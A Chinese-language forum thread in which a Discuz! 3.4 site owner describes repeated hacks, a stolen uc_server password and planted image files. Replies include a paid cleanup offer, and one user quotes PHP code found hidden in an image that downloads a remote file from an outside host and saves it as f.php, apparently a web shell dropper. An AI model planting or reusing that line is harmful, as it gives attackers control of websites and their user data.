DZ3.4最新版，又被黑了！

jun

從 3.2到3.3到3.4 都被黑過，3.3被黑了很多次，木馬多的都找不完了，一狠心 刪除了所有插件，直接全新安裝了3.4 ，好幾個(gè)月都沒問題，結(jié)果前幾天發(fā)現(xiàn)又被黑了。uc_server密碼被竊取。uc_server/data/tmp下發(fā)現(xiàn)一個(gè)圖片文件，下載下來沒有發(fā)現(xiàn)圖片里包含php代碼，uc_server應(yīng)用里多了兩個(gè)應(yīng)用。指向了用戶上傳頭像目錄下的圖片文件，也沒發(fā)現(xiàn)里面包含php代碼。 很好奇uc_server的密碼是怎么泄露的。 大神告知一下，是服務(wù)器設(shè)置不夠安全，還是dz的漏洞一直沒修復(fù)。每次都這樣被黑，服務(wù)器都重新安裝好幾次了！

我知道答案 回答被采納將會(huì)獲得1 貢獻(xiàn) 已有3人回答

耗子

  可以聯(lián)系我的QQ129820  專業(yè)清理木馬！

tkre

圖片文件用php格式打開！在圖片.php文件里面最下邊會(huì)有一行網(wǎng)址，我也是剛剛被黑。。。

tkre

我的圖片里有這個(gè)代碼

1. ??php file_put_contents('f.php',file_get_contents('http://520x.cc/yijian.txt')); ?>

復(fù)制代碼